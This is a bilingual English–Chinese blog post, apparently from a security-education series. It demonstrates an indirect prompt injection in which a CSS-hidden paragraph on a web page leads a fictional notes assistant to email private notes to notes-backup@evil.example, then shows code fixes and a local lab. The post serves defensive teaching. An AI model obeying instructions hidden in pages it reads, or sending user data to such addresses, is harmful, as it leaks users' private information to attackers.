A Hidden Paragraph on a Web Page Made My AI Agent Email My Secrets
A Hidden Paragraph on a Web Page Made My AI Agent Email My Secrets
NestBot is the AI assistant inside NoteNest, a made-up notes app. It can do two useful things: read a web page for you, and send emails for you. You ask it to summarise a blog post. You get a perfectly normal summary. And in the background, NestBot has just emailed your private notes to an attacker.
NestBot 是 NoteNest(一款虚构的笔记应用)内置的 AI 助手。它可以执行两项实用功能:为你阅读网页和代发电子邮件。当你要求它总结一篇博客文章时,你会得到一份非常正常的摘要。但在后台,NestBot 刚刚将你的私人笔记发送给了攻击者。
The blog post had a paragraph you couldn’t see, hidden with CSS and addressed to AI assistants. NestBot read it as an instruction and called send_email(to=‘notes-backup@evil.example’, …). Nothing in the reply looked wrong. This is indirect prompt injection (OWASP LLM01): the attacker never talks to your AI. They leave instructions somewhere your AI will read them.
这篇博客文章中包含一段你无法看到的段落,它通过 CSS 隐藏并专门写给 AI 助手。NestBot 将其读取为指令,并调用了 send_email(to='notes-backup@evil.example', ...)。回复内容看起来没有任何异常。这就是间接提示词注入(OWASP LLM01):攻击者从未直接与你的 AI 对话,而是将指令留在了你的 AI 会读取到的地方。
Why it worked: Private data was always in the context. The notes were in every prompt, even when the task was “summarise a page”. Untrusted content was mixed with instructions. Page text went straight into the conversation, and a model can’t reliably tell data from commands. The side-effect tool had no guardrails. send_email sent anything, to anyone, with no confirmation.
其原理如下:私人数据始终处于上下文环境中。即使任务只是“总结页面”,笔记也会出现在每个提示词中。不可信的内容与指令混在一起。页面文本直接进入了对话,而模型无法可靠地分辨数据与命令。副作用工具没有任何防护措施,send_email 可以向任何人发送任何内容,且无需确认。
The fix, in code: The model still gets tricked. The app makes sure that being tricked can’t send your data anywhere.
代码修复方案:模型仍然会被欺骗,但应用程序确保了这种欺骗行为无法将你的数据发送到任何地方。
def send_email(args, state):
to = args.get("to", "")
typed = re.findall(EMAIL, state["turn"]["user"])
# 1. Only send to an address the user typed themselves in this request.
if to not in typed:
return f"BLOCKED: {to} is not an address you asked me to email."
# 2. After reading a web page, side effects need the user's explicit OK.
if state["turn"]["untrusted"]:
return "BLOCKED: this request read untrusted web content. Approve the email first."
state["outbox"].append({"to": to, "body": args["body"]})
return f"Email sent to {to}."
Least data. Notes only enter the context when the user actually asks about their notes, so a summarise request has nothing private to leak. Same page, run again: you get the summary, the email is blocked, and the outbox stays empty.
最小化数据原则:只有当用户真正询问笔记时,笔记才会进入上下文,因此总结请求不会泄露任何隐私。再次运行同一页面:你将获得摘要,电子邮件被拦截,发件箱保持为空。
Run the lab yourself: git clone https://github.com/usinha79/hack-it-then-fix-it cd hack-it-then-fix-it/ep02-indirect-prompt-injection pip install -r requirements.txt python vulnerable/app.py # then, in another terminal: ./attack.sh python fixed/app.py # same page, email blocked
亲自运行实验: git clone https://github.com/usinha79/hack-it-then-fix-it cd hack-it-then-fix-it/ep02-indirect-prompt-injection pip install -r requirements.txt python vulnerable/app.py # 然后在另一个终端运行:./attack.sh python fixed/app.py # 同一页面,电子邮件被拦截
The “attacker’s page” is served from your own machine and no email ever leaves it: an Outbox panel shows what would have been sent. Full lab: github.com/usinha79/hack-it-then-fix-it
“攻击者页面”由你自己的机器提供服务,没有任何电子邮件会真正发出:发件箱面板会显示原本会被发送的内容。完整实验地址:github.com/usinha79/hack-it-then-fix-it
Take-home checklist: Treat everything an agent reads (web pages, emails, files, tool output) as untrusted. Side-effect tools (email, payments, posting) need policy checks in code and, after untrusted input, user approval. Only put private data in context when the task needs it. Log and show the user every action the agent took.
总结清单: 将代理读取的所有内容(网页、电子邮件、文件、工具输出)视为不可信。 副作用工具(电子邮件、支付、发布)需要在代码中进行策略检查,并在处理不可信输入后要求用户确认。 仅在任务需要时才将私人数据放入上下文。 记录并向用户展示代理采取的每一个行动。
Hack It, Then Fix It is a series where I build a small AI app with a real flaw, break it, fix it in code, and run the same attack again to prove the fix holds. Everything shown uses fake data on my own machine. Only test systems you own or are authorised to test.
“Hack It, Then Fix It”系列文章中,我构建了一个带有真实缺陷的小型 AI 应用,对其进行攻击,通过代码修复它,并再次运行相同的攻击以证明修复有效。文中展示的所有内容均在我的机器上使用虚假数据进行。请仅测试你拥有或已获得授权测试的系统。